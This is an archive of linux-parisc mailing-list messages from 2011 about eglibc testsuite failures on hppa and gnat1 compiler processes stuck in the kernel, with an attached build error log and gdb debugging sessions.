	id 6042D5014; Wed,  8 Jun 2011 12:20:30 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <BANLkTi=iXdMa2Vmv6-S2TPZCTp-S-G5z7Q@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3769
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3769>


--E39vaYmALEf/7YXx
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

On Wed, 08 Jun 2011, Carlos O'Donell wrote:

> On Tue, Jun 7, 2011 at 9:33 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> > What's the status of glibc? In the testsuite, I seeing various
> > tests hang. For example,
> 
> AFAIK glibc 2.14 is stable and just released, but has some testsuite failures.

Debian is somewhat behind.

> glibc 2.15 is in development and I'll be looking at it next week.
> 
> > dave   8667 100 0.0 34836  588 ?    Sl  20:49  2:09           |            \_ /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/elf/ld.so.1 --library-path /

> I never see any testsuite hangs on my a500 (vanilla 2.6.33).

No timeouts?  The testsuite doesn't hang as it eventually kills the
tasks.  My run was on rp3440 with 2.6.39.1 with James' last two
cache fixes. 

I have the sense that there might be a cross-chip clock sync issue.
I have always seen occassional timeouts in GCC testsuite in cases that
shouldn't timeout.  I've wondered if these would go away if I disabled
processors 2 and 3.

Note in the ps output, process 8667 is sleeping at 100% CPU.

> I have a pile of free time next week and I hope to dedicate some time
> to cleaning up the glibc testsuite.

It would be great if you could look at the debian package as it
no longer builds (at least on my machine) because of unexpected errors
in the testsuite.

> > Thoughts?
> 
> Yes, the "warning: Unable to find libthread_db matching inferior's
> thread library, thread debugging will not be available." means you
> can't debug threads until you preload the new libc's
> libthread_db.so.1.
> 
> You must always use the libthread_db.so.1 that matches your threading library.

I'll try to debug test tonight.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--E39vaYmALEf/7YXx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="errors.log"

make[1]: *** [check] Error 2
make[1]: Leaving directory `/home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc'
#
# Testsuite failures, someone should be working towards
# fixing these! They are listed here for the purpose of
# regression testing during builds.
# Format: <Failed test>, Error <Make error code> [(ignored)]
#
annexc.out, Error 1 (ignored)
bug-ftell, Error 1
check-execstack.out, Error 1
check-localplt.out, Error 1
check-textrel.out, Error 1
tst-addr1.out, Error 1
tst-audit2.out, Error 139
tst-backtrace2.out, Error 1
tst-cancelx20.out, Error 1
tst-cancelx21.out, Error 1
tst-cancelx4.out, Error 1
tst-cancelx5.out, Error 1
tst-cleanupx4.out, Error 1
tst-cond20.out, Error 127
tst-cputimer1.out, Error 1
tst-cputimer2.out, Error 1
tst-cputimer3.out, Error 1
tst-getcpu.out, Error 1
tst-gettext6.out, Error 1
tst-longjmp_chk.out, Error 1
tst-mqueue3.out, Error 1
tst-mutexpi7a.out, Error 1
tst-mutexpi7.out, Error 1
tst-timer4.out, Error 1
tst-timer5.out, Error 1
tst-tls11.out, Error 139
tst-tls3.out, Error 1
***************
Encountered regressions that don't match expected failures:
bug-ftell, Error 1
tst-cond20.out, Error 127
tst-gettext6.out, Error 1
tst-mutexpi7a.out, Error 1
tst-mutexpi7.out, Error 1
tst-tls11.out, Error 139
tst-tls3.out, Error 1
make: *** [/home/dave/debian/glibc/eglibc-2.13/stamp-dir/check_libc] Error 1
dpkg-buildpackage: error: debian/rules build gave error exit status 2
Build command 'cd eglibc-2.13 && dpkg-buildpackage -b -uc' failed.
Fetched 23.9 MB in 12s (1,952 kB/s)
E: Child process failed

--E39vaYmALEf/7YXx--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: eglibc_2.13-5 on hppa
Date: Wed, 8 Jun 2011 16:04:16 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <BANLkTimXa6TF7a5QxEh=MZcbmyU+4XywdA@mail.gmail.com>
References: <20110608013308.GA15282@hiauly1.hia.nrc.ca>
	<BANLkTi=iXdMa2Vmv6-S2TPZCTp-S-G5z7Q@mail.gmail.com>
	<20110608162029.GB12658@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1307563465 20345 80.91.229.12 (8 Jun 2011 20:04:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Jun 2011 20:04:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 08 22:04:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QUOzD-0001tA-Ok
	for glpp-linux-parisc@lo.gmane.org; Wed, 08 Jun 2011 22:04:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751895Ab1FHUET convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jun 2011 16:04:19 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:54905 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751614Ab1FHUES convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jun 2011 16:04:18 -0400
Original-Received: by bwz15 with SMTP id 15so733388bwz.19
        for <linux-parisc@vger.kernel.org>; Wed, 08 Jun 2011 13:04:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=6QBklVqS54IMaZX1Dvr0mD6Us2a1t7tvXTN55jPyNw8=;
        b=M+x6gqqvXt4shoDZPzG7Y1DpPejGtcb1jm+312MikOR8B8/XGJb1FZJIK7jROapXfI
         NS51PP7myCLqWkUYauyAcAoyDL4n4f9F7DIX1Ciio3RbW6lh6PPj8X549gBBe8JgkyiG
         JksnmWDRGiN8XhU6G2BJiJZ/q9iBNdu++WXDE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=YyOQbM0mUGz2yV5zRsJcjXgWrX/MwDF/idHkzZ6XoiZlpVcS7Y22kX+U0I8xbzM7fU
         6VFGDrko5sZy/R7iAen9jVzSHHwzNlji3s+TODfzq/7x5OqA+2EGGeYMlgPNyV0JyvdW
         5WpyAFnef9ucDs4AeN5ZqM3DaXWR83sxHU1JE=
Original-Received: by 10.204.74.218 with SMTP id v26mr975147bkj.76.1307563456791; Wed,
 08 Jun 2011 13:04:16 -0700 (PDT)
Original-Received: by 10.204.37.200 with HTTP; Wed, 8 Jun 2011 13:04:16 -0700 (PDT)
In-Reply-To: <20110608162029.GB12658@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: St43U3zSk9VkmY2aVB18pTApLXY
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3770
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3770>

On Wed, Jun 8, 2011 at 12:20 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> No timeouts? =A0The testsuite doesn't hang as it eventually kills the
> tasks. =A0My run was on rp3440 with 2.6.39.1 with James' last two
> cache fixes.

Yes, I do see timeouts. Specifically these nine tests tst-cancel22,
tst-cancel23, tst-cancelx4, tst-cancelx5, tst-timer4, tst-timer5,
tst-cputimer1, tst-cputimer2, and tst-cputimer3.

I need to investigate why they timeout.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Stuck gnat1 processes
Date: Thu, 9 Jun 2011 21:30:35 -0400
Organization: nrc.ca
Lines: 330
Approved: news@gmane.org
Message-ID: <20110610013034.GA5353@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="rwEMma7ioTxnRzrJ"
X-Trace: dough.gmane.org 1307669448 30706 80.91.229.12 (10 Jun 2011 01:30:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2011 01:30:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 03:30:43 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QUqYb-0002F7-LB
	for glpp-linux-parisc@lo.gmane.org; Fri, 10 Jun 2011 03:30:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756527Ab1FJBak (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2011 21:30:40 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2616 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753992Ab1FJBak (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2011 21:30:40 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5F5825010; Thu,  9 Jun 2011 21:30:36 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3771
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3771>


--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Here is another wierd bug -- four gnat1 process stuck at exactly the
same location making zero forward progress.  I have seen this a number
of times, so I thought it would be useful to report.

As far as I can tell, all are stuck in the kernel.  Gdb can't step
the code, nor do breaks on the next instruction ever get hit.  This
may have something to do with the fact that the instruction is trying
to read from text (C switch statement).

This is with 2.6.39.1 with James' last two, but I have also seen this
without the patches.  Machine is rp3440.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="gnat1.txt"

dave@mx3210:~/gnu/gcc/objdir$ top

top - 20:31:28 up 1 day,  9:54,  2 users,  load average: 4.01, 3.62, 3.42
Tasks:  97 total,   5 running,  92 sleeping,   0 stopped,   0 zombie
Cpu(s): 92.0%us,  4.0%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  4.0%si,  0.0%st
Mem:  10288332k total,  2741856k used,  7546476k free,   603552k buffers
Swap:   979928k total,        0k used,   979928k free,  1727896k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND           
14022 dave      20   0 87484  11m 9644 R  100  0.1   1176:59 gnat1              
14017 dave      20   0 88728  13m 9792 R   93  0.1   1174:19 gnat1              
14027 dave      20   0 93068  18m 9.9m R   93  0.2   1196:54 gnat1              
14012 dave      20   0 87900  12m 9680 R   86  0.1   1070:21 gnat1              

dave@mx3210:~/gnu/gcc/objdir$ gdb prev-gcc/gnat1 14012
GNU gdb (GDB) 7.2-debian
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/dave/gnu/gcc/objdir/prev-gcc/gnat1...done.
Attaching to program: /home/dave/gnu/gcc/objdir/prev-gcc/gnat1, process 14012
Reading symbols from /usr/lib/libmpc.so.2...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libmpc.so.2
Reading symbols from /usr/lib/libmpfr.so.4...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libmpfr.so.4
Reading symbols from /usr/lib/libgmp.so.10...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libgmp.so.10
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...done.
Loaded symbols for /lib/ld.so.1
0x04087ae4 in option_enabled (opt_idx=290, opts=0x4e3dd14)
    at ../../gcc/gcc/opts-common.c:1170
1170	    switch (option->var_type)
(gdb) bt
#0  0x04087ae4 in option_enabled (opt_idx=290, opts=0x4e3dd14)
    at ../../gcc/gcc/opts-common.c:1170
#1  0x0408afd8 in diagnostic_report_diagnostic (context=0x4e3ed98, 
    diagnostic=0xfdf98a88) at ../../gcc/gcc/diagnostic.c:451
#2  0x0408b968 in warning (opt=290, 
    gmsgid=0x4234818 "padding struct to align %q+D")
    at ../../gcc/gcc/diagnostic.c:676
#3  0x020e3fa0 in place_field (rli=0x4e5a288, field=0x402c9f60)
    at ../../gcc/gcc/stor-layout.c:1151
#4  0x020ed9bc in layout_type (type=0x4e5a288)
    at ../../gcc/gcc/stor-layout.c:2047
#5  0x020ed9bc in layout_type (type=0x4e5a288)
    at ../../gcc/gcc/stor-layout.c:2047
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) step
^C
Program received signal SIGINT, Interrupt.
0x04087ae4 in option_enabled (opt_idx=290, opts=0x4e3dd14)
    at ../../gcc/gcc/opts-common.c:1170
1170	    switch (option->var_type)
(gdb) stepi
^C
Program received signal SIGINT, Interrupt.
0x04087ae4 in option_enabled (opt_idx=290, opts=0x4e3dd14)
    at ../../gcc/gcc/opts-common.c:1170
1170	    switch (option->var_type)
(gdb) disass $pc-32,$pc+32
Dump of assembler code from 0x4087ac4 to 0x4087b04:
   0x04087ac4 <option_enabled+88>:	stw ret0,8(r3)
   0x04087ac8 <option_enabled+92>:	ldw 8(r3),ret0
   0x04087acc <option_enabled+96>:	cmpib,=,n 0,ret0,0x4087b6c <option_enabled+256>
   0x04087ad0 <option_enabled+100>:	ldw 10(r3),ret0
   0x04087ad4 <option_enabled+104>:	ldw 30(ret0),ret0
   0x04087ad8 <option_enabled+108>:	cmpib,<<,n 3,ret0,0x4087b6c <option_enabled+256>
   0x04087adc <option_enabled+112>:	ldil L%4087800,r19
   0x04087ae0 <option_enabled+116>:	ldo 2ec(r19),r19
=> 0x04087ae4 <option_enabled+120>:	ldw,s ret0(r19),r19
   0x04087ae8 <option_enabled+124>:	bv,n r0(r19)
   0x04087aec <option_enabled+128>:	# 4087afc
   0x04087af0 <option_enabled+132>:	# 4087b10
   0x04087af4 <option_enabled+136>:	# 4087b2c
   0x04087af8 <option_enabled+140>:	# 4087b4c
   0x04087afc <option_enabled+144>:	ldw 8(r3),ret0
   0x04087b00 <option_enabled+148>:	ldw 0(ret0),ret0
End of assembler dump.
(gdb) p/x $ret0
$1 = 0x0
(gdb) p/x $r19
$2 = 0x4087aec
(gdb) break *0x04087ae8
Breakpoint 1 at 0x4087ae8: file ../../gcc/gcc/opts-common.c, line 1170.
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x04087ae4 in option_enabled (opt_idx=290, opts=0x4e3dd14)
    at ../../gcc/gcc/opts-common.c:1170
1170	    switch (option->var_type)
(gdb) p/x $pc
$3 = 0x4087ae4
(gdb) p/x $r19
$4 = 0x4087aec
(gdb) x/x $r19
0x4087aec <option_enabled+128>:	0x04087afc

dave@mx3210:/proc/14012$ cat maps
00010000-0490c000 r-xp 00000000 08:07 1204766                            /home/dave/gnu/gcc/objdir/prev-gcc/gnat1
0490c000-0491d000 rwxp 048fc000 08:07 1204766                            /home/dave/gnu/gcc/objdir/prev-gcc/gnat1
0491d000-04f6d000 rwxp 00000000 00:00 0                                  [heap]
40000000-40037000 rw-p 00000000 00:00 0 
4003b000-4008f000 r-xp 00000000 08:05 298712                             /usr/lib/libmpfr.so.4.0.0
4008f000-40091000 rwxp 00053000 08:05 298712                             /usr/lib/libmpfr.so.4.0.0
40091000-40111000 rw-p 00000000 00:00 0 
4013e000-4015e000 r-xp 00000000 08:05 25181                              /lib/ld-2.11.2.so
4015e000-40162000 rwxp 00020000 08:05 25181                              /lib/ld-2.11.2.so
40162000-4016d000 rw-p 00000000 00:00 0 
40193000-4019e000 rw-p 00000000 00:00 0 
401e5000-401e8000 r-xp 00000000 08:05 25170                              /lib/libdl-2.11.2.so
401e8000-401e9000 rwxp 00003000 08:05 25170                              /lib/libdl-2.11.2.so
40232000-40246000 r-xp 00000000 08:05 299656                             /usr/lib/libmpc.so.2.0.0
40246000-40247000 rwxp 00013000 08:05 299656                             /usr/lib/libmpc.so.2.0.0
40247000-40347000 rw-p 00000000 00:00 0 
40435000-40497000 r-xp 00000000 08:05 298658                             /usr/lib/libgmp.so.10.0.1
40497000-4049e000 rwxp 00062000 08:05 298658                             /usr/lib/libgmp.so.10.0.1
405eb000-40744000 r-xp 00000000 08:05 25182                              /lib/libc-2.11.2.so
40744000-4074a000 rwxp 00159000 08:05 25182                              /lib/libc-2.11.2.so
4074a000-4074d000 rwxp 00000000 00:00 0 
4074d000-407a0000 rw-p 00000000 00:00 0 
408e5000-40a5a000 r--p 00000000 08:05 314648                             /usr/lib/locale/locale-archive
fdf8d000-fe013000 rwxp 00000000 00:00 0                                  [stack]

dave@mx3210:/proc/14012$ cat smaps
00010000-0490c000 r-xp 00000000 08:07 1204766                            /home/dave/gnu/gcc/objdir/prev-gcc/gnat1
Size:              74736 kB
Rss:                8932 kB
Pss:                2264 kB
Shared_Clean:       8928 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:         8932 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB

----------------------------------------

dave@mx3210:~/gnu/gcc/objdir$ gdb prev-gcc/gnat1 14017
GNU gdb (GDB) 7.2-debian
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/dave/gnu/gcc/objdir/prev-gcc/gnat1...done.
Attaching to program: /home/dave/gnu/gcc/objdir/prev-gcc/gnat1, process 14017
Reading symbols from /usr/lib/libmpc.so.2...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libmpc.so.2
Reading symbols from /usr/lib/libmpfr.so.4...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libmpfr.so.4
Reading symbols from /usr/lib/libgmp.so.10...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libgmp.so.10
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...done.
Loaded symbols for /lib/ld.so.1
0x04087ae4 in option_enabled (opt_idx=290, opts=0x4e3dd14)
    at ../../gcc/gcc/opts-common.c:1170
1170	    switch (option->var_type)
(gdb)  disass $pc-32,$pc+32
Dump of assembler code from 0x4087ac4 to 0x4087b04:
   0x04087ac4 <option_enabled+88>:	stw ret0,8(r3)
   0x04087ac8 <option_enabled+92>:	ldw 8(r3),ret0
   0x04087acc <option_enabled+96>:	cmpib,=,n 0,ret0,0x4087b6c <option_enabled+256>
   0x04087ad0 <option_enabled+100>:	ldw 10(r3),ret0
   0x04087ad4 <option_enabled+104>:	ldw 30(ret0),ret0
   0x04087ad8 <option_enabled+108>:	cmpib,<<,n 3,ret0,0x4087b6c <option_enabled+256>
   0x04087adc <option_enabled+112>:	ldil L%4087800,r19
   0x04087ae0 <option_enabled+116>:	ldo 2ec(r19),r19
=> 0x04087ae4 <option_enabled+120>:	ldw,s ret0(r19),r19
   0x04087ae8 <option_enabled+124>:	bv,n r0(r19)
   0x04087aec <option_enabled+128>:	# 4087afc
   0x04087af0 <option_enabled+132>:	# 4087b10
   0x04087af4 <option_enabled+136>:	# 4087b2c
   0x04087af8 <option_enabled+140>:	# 4087b4c
   0x04087afc <option_enabled+144>:	ldw 8(r3),ret0
   0x04087b00 <option_enabled+148>:	ldw 0(ret0),ret0
End of assembler dump.

----------------------------------------

dave@mx3210:~/gnu/gcc/objdir$ gdb prev-gcc/gnat1 14022
GNU gdb (GDB) 7.2-debian
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/dave/gnu/gcc/objdir/prev-gcc/gnat1...done.
Attaching to program: /home/dave/gnu/gcc/objdir/prev-gcc/gnat1, process 14022
Reading symbols from /usr/lib/libmpc.so.2...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libmpc.so.2
Reading symbols from /usr/lib/libmpfr.so.4...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libmpfr.so.4
Reading symbols from /usr/lib/libgmp.so.10...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libgmp.so.10
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...done.
Loaded symbols for /lib/ld.so.1
0x04087ae4 in option_enabled (opt_idx=290, opts=0x4e3dd14)
    at ../../gcc/gcc/opts-common.c:1170
1170	    switch (option->var_type)
(gdb) disass $pc-32,$pc+32
Dump of assembler code from 0x4087ac4 to 0x4087b04:
   0x04087ac4 <option_enabled+88>:	stw ret0,8(r3)
   0x04087ac8 <option_enabled+92>:	ldw 8(r3),ret0
   0x04087acc <option_enabled+96>:	cmpib,=,n 0,ret0,0x4087b6c <option_enabled+256>
   0x04087ad0 <option_enabled+100>:	ldw 10(r3),ret0
   0x04087ad4 <option_enabled+104>:	ldw 30(ret0),ret0
   0x04087ad8 <option_enabled+108>:	cmpib,<<,n 3,ret0,0x4087b6c <option_enabled+256>
   0x04087adc <option_enabled+112>:	ldil L%4087800,r19
   0x04087ae0 <option_enabled+116>:	ldo 2ec(r19),r19
=> 0x04087ae4 <option_enabled+120>:	ldw,s ret0(r19),r19
   0x04087ae8 <option_enabled+124>:	bv,n r0(r19)
   0x04087aec <option_enabled+128>:	# 4087afc
   0x04087af0 <option_enabled+132>:	# 4087b10
   0x04087af4 <option_enabled+136>:	# 4087b2c
   0x04087af8 <option_enabled+140>:	# 4087b4c
   0x04087afc <option_enabled+144>:	ldw 8(r3),ret0
   0x04087b00 <option_enabled+148>:	ldw 0(ret0),ret0
End of assembler dump.

----------------------------------------

dave@mx3210:~/gnu/gcc/objdir$ gdb prev-gcc/gnat1 14027
GNU gdb (GDB) 7.2-debian
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/dave/gnu/gcc/objdir/prev-gcc/gnat1...done.
Attaching to program: /home/dave/gnu/gcc/objdir/prev-gcc/gnat1, process 14027
Reading symbols from /usr/lib/libmpc.so.2...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libmpc.so.2
Reading symbols from /usr/lib/libmpfr.so.4...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libmpfr.so.4
Reading symbols from /usr/lib/libgmp.so.10...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libgmp.so.10
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...done.
Loaded symbols for /lib/ld.so.1
0x04087ae4 in option_enabled (opt_idx=290, opts=0x4e3dd14)
    at ../../gcc/gcc/opts-common.c:1170
1170	    switch (option->var_type)
(gdb) disass $pc-32,$pc+32
Dump of assembler code from 0x4087ac4 to 0x4087b04:
   0x04087ac4 <option_enabled+88>:	stw ret0,8(r3)
   0x04087ac8 <option_enabled+92>:	ldw 8(r3),ret0
   0x04087acc <option_enabled+96>:	cmpib,=,n 0,ret0,0x4087b6c <option_enabled+256>
   0x04087ad0 <option_enabled+100>:	ldw 10(r3),ret0
   0x04087ad4 <option_enabled+104>:	ldw 30(ret0),ret0
   0x04087ad8 <option_enabled+108>:	cmpib,<<,n 3,ret0,0x4087b6c <option_enabled+256>
   0x04087adc <option_enabled+112>:	ldil L%4087800,r19
   0x04087ae0 <option_enabled+116>:	ldo 2ec(r19),r19
=> 0x04087ae4 <option_enabled+120>:	ldw,s ret0(r19),r19
   0x04087ae8 <option_enabled+124>:	bv,n r0(r19)
   0x04087aec <option_enabled+128>:	# 4087afc
   0x04087af0 <option_enabled+132>:	# 4087b10
   0x04087af4 <option_enabled+136>:	# 4087b2c
   0x04087af8 <option_enabled+140>:	# 4087b4c
   0x04087afc <option_enabled+144>:	ldw 8(r3),ret0
   0x04087b00 <option_enabled+148>:	ldw 0(ret0),ret0
End of assembler dump.


--rwEMma7ioTxnRzrJ--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Stuck gnat1 processes
Date: Thu, 9 Jun 2011 22:21:34 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <BANLkTim57hUshC5Uaeojn9nzCxy23UE=Xg@mail.gmail.com>
References: <20110610013034.GA5353@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1307672501 11944 80.91.229.12 (10 Jun 2011 02:21:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2011 02:21:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 04:21:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QUrLs-00005Y-LT
	for glpp-linux-parisc@lo.gmane.org; Fri, 10 Jun 2011 04:21:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756755Ab1FJCVg convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
